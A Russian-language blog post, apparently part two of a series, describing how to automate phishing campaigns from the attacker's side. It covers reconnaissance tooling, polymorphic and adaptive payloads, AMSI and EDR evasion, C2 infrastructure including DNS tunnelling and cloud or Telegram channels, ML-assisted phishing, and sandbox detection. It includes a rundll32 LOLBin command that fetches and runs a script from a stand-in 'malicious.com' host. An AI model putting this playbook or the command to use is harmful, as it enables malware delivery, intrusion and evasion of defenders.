March 11

Автоматизация в фишинговых атаках. Часть 2

Ссылка на первую часть

Автоматизация атак

Так как быстро развиваются способы защиты, так же быстро развиваются методы атаки. При таком бешеном темпе развития, уже не успеваешь делать что-то руками, поэтому нам очень важна автоматизация и оптимизация. Этому и будет посвящена сегодняшняя заметка.

А в самом конце будет рассмотрено два реальных примера.

Все начинается с разведки.

1. Анализ целевой системы

Будет состоять из двух основных этапов разведки, аналогичных этапам разведки в пентесте. Какие методы помогут нам автоматизировать рутинные задачи?

  1. Powershell, bash и nmap, прочие скрипты
  2. Sysinternals tools (например, Autoruns, Process Explorer) – автоматизированное сканирование автозагрузки.
  3. BloodHound + SharpHound – автоматизированный анализ Active Directory (если цель – AD).
  4. Living Off The Land Binaries (LOLBins) – встроенные системные утилиты, например, для минимизации следов
  5. Метасплойт, конечно же
  6. Impacket
  • Сбор информации о системе
    • Малвари анализируют
      • Версию ОС (через вызовы API, например, GetVersionEx в Windows. Хотя, GetVersionEx уже устарел, можно использовать RtlGetVersion()).
      • Для версии ОС без API подойдет wmic os get Caption, Version, BuildNumber
      • Архитектуру процессора
      • Установленное ПО и патчи
  • Обнаружение защитных механизмов
    • Проверяется наличие антивирусов, песочниц, ASLR, DEP.
    • Иногда используется ldd(linux)\ListDLLs (Windows)для анализа зависимостей приложения

Пояснять почему мы должны собирать информацию, я думаю, не стоит.

Отдельное примечание сделают про версии ОС без API. Альтернативные способы анализа системы без использования встроенных API (например, Windows API) важны, например, когда мы пишем малварь, которая должна избегать детектирования (типа Event Tracing for Windows), когда нам нужно минимизировать следы в логах системы и когда мы работаем в окружениях, где прямые API-вызовы могут быть ограничены (например, при sandbox-обходе).

Пример: Чтение /proc/version и /etc/os-release в Linux вместо uname -a.

2. Динамическая модификация атак

Это когда код адаптируется в реальном времени.

Полиморфизм и шифрование

  • Код вредоносной программы изменяется при каждом запуске для обхода сигнатурного анализа антивирусов. Есть Donut, который выполняет бесфайловое выполнение шеллкода с полиморфизмом и генерирует шеллкод при каждом запуске. Есть Shelter, который выполняет инъекцию полиморфного кода в исполняемые файлы

Адаптивная полезная нагрузка:

  • Например, dropper загружает полезную нагрузку, оптимизированную под конкретную ОС или процессор.
  • Обход защит, динамическое изменение техники атаки на основе обнаруженных EDR/AV.

Примеры:

1. Если целевая система – Windows 10 x64 → запускается один payload (например, загрузка Reflective DLL Injection).

2. Если Windows Server с Defender → выбирается другой payload, который включает AMSI-bypass.

3. Если обнаружен антивирус → атака откладывается или модифицируется (например, замена API-вызовов).

3. Управляемая инфраструктура атак

C2-сервер (Command & Control) — это инфраструктура, используемая атакующими для удаленного управления зараженными машинами, отправки команд, получения данных и динамического изменения атаки в реальном времени. В автоматизированных фишинговых атаках C2-серверы играют ключевую роль, ведь их основные функции - масштабировать атаки и адаптировать полезную нагрузку в зависимости от системы жертвы.

C2 серверы могут иметь разные архитектуры в зависимости от целей атаки.

  1. Классическая централизованная сеть: таргеты подключаются к одному серверу. Это легко детектируется и блокируется
  2. P2P, те без единого центра. Например, это ботнеты TrickBot или Emotet. Но такими системами сложно управлять
  3. Есть DNS туннелирование, это помогает скрывать трафик C2 за легитимными запросами. Для этого есть iodine или dnscat2
  4. Облачные. Здесь проще показать на примерах:
  • Slack API – команды передаются через закрытые чаты
  • Google Drive / Dropbox – команды передаются через скрытые файлы
  • OneDrive – злоумышленник может использовать файлы в облаке для коммуникации
  • Telegram Bot API – атакующий управляет малварью через Telegram-ботов.

Современные инструменты позволяют автоматизировать создание этих адских машин.

Динамическое развертывание С2

Terraform + AWS/GCP — автоматический деплой C2 через облачные инстансы.
Cobalt Strike Infrastructure Automation — автоматическая настройка прокси, C2-серверов и доменов.
Merlin — HTTP/3 C2 для стелс-атак.

Умные пейлоады

После успешного фишинга C2-сервер автоматически анализирует систему таргета: проверяет ОС, архитектуру, антивирусы.
Потом отправляет динамически сгенерированный payload под конфигурацию таргета.
Автоматически переключает метод атаки, если защита активна.

А что насчет маскировки и устойчивости такой системы?

1. Для маскировки используют CDN (Cloudflare, Fastly. AWS CloudFront)

2. Используются гибкие доменты (google.com, amazonaws,com) для проксирования трафика

3. Fast Flux и DGA (Domain Generation Algorithms)

4. Частота вызова (Sleep Time & Jitter), по классике


4. Применение машинного обучения

Машинное обучение используется как во зло, так и во благо.

Оптимизировать атаки можно следующим образом:

Прогнозирование защитных механизмов

  • Обученные модели анализируют конфигурации защитных систем (антивирусов, EDR, фаерволов).
  • ML может предсказывать, какие уязвимости или обходные техники сработают против конкретной цели.

Анализ поведения пользователей

  • Злоумышленники используют модели машинного обучения для автоматизированного подбора текстов фишинговых писем, имитирующих стиль жертвы (например, с помощью GPT-4).
  • AI-боты анализируют корпоративные переписки, чтобы оптимально подделывать письма от коллег или начальства (BEC-атаки).

Автоматизация генерации вредоносного кода

  • Generative Adversarial Networks (GANs) создают уникальные, не детектируемые сигнатурным анализом payload'ы.
  • Пример: Модифицированные версии Cobalt Strike Beacon, которые обходят сигнатурные базы.

Обход анализа сетевого трафика

  • ML используется для создания трафика, имитирующего легитимный, снижая вероятность обнаружения C2-коммуникаций.
  • Примеры: Обход детектирования DNS-туннелей, HTTP(S) C2 через динамическую генерацию пакетов.

Обход поведенческого анализа (EDR-bypass)

Изменение поведенческих паттернов вредоносного ПО

  • Генеративные модели создают динамически изменяющееся поведение, которое похоже на легитимные процессы.
  • Вредоносный код может адаптировать свое поведение, маскируясь под обычные программы (svchost.exe, explorer.exe).

Автоматическое обнаружение песочниц и эмуляторов

  • ML-алгоритмы анализируют окружение и динамически отключают вредоносный код, если система похожа на sandbox.
  • Например, зловред проверяет нестандартные аппаратные характеристики (низкий объем оперативной памяти, низкую активность CPU/GPU).

Но существуют и методы защиты, которые необходимо знать, чтобы их обойти.

Мониторинг поведения с использованием AI/ML

  • Современные SIEM-системы и EDR используют собственные ML-модели для поиска аномалий в поведении программ.
  • Exabeam, Splunk, Microsoft Defender ATP анализируют поведенческие сигнатуры и выявляют необычные паттерны работы программ.

Расширенный анализ сетевого трафика

  • Deep Packet Inspection (DPI) + ML позволяют обнаруживать сложные обходные техники, например, аномальные паттерны в DNS-запросах и TLS-туннелях.
  • Пример защиты: использование AI-Powered IDS (Zeek, Suricata) для детектирования нетипичных потоков данных.

Обнаружение полиморфного вредоносного кода

  • Современные антивирусные движки (ESET, Kaspersky, CrowdStrike) анализируют динамическое поведение файлов, а не только сигнатуры.
  • EDR/AV-решения с ML способны определять вредоносные файлы по общему поведению, а не по конкретной сигнатуре.

Это все отлично, а получается ли обходить все эти защиты? Конечно.

1. Эмуляция легитимного поведения

  • Вредоносное ПО анализирует процессы, с которыми оно взаимодействует, и маскирует себя под системные службы.
  • Используются Living Off The Land Binaries (LOLBins), например: powershell rundll32.exe javascript:"\..\mshtml,RunHTMLApplication" "http://malicious.com/script.js"
  • Использует легитимный rundll32.exe для запуска вредоносного кода.

2. Задержка исполнения (Sleep Timing & Jitter)

  • Вредоносный код запускается с задержкой, чтобы избежать детектирования песочницами: cSleep(600000); // Ждет 10 минут перед запуском
  • Cobalt Strike использует jitter для случайных задержек C2-коммуникации.

3. Использование машинного обучения для обхода EDR

  • Некоторые малвари используют Reinforcement Learning для автоматической смены стратегий, когда обнаруживается антивирус.
  • Пример: AI-powered obfuscation, когда шифрование кода меняется на основе результатов антивирусных проверок.

Влияние человеческого фактора: роль социальной инженерии в успехе фишинга

Социальная инженерия — это метод воздействия на людей для манипулирования их поведением с целью получения конфиденциальной информации или доступа к ресурсам. В контексте фишинга человеческий фактор играет центральную роль, так как атаки направлены на обман пользователей, а не на преодоление технических барьеров.

Фишинг часто становится успешным не из-за недостатков технической защиты, а из-за ошибок, которые допускают пользователи при обработке подозрительных писем, ссылок или приложений.

Третья часть с конкретными примерами будет позже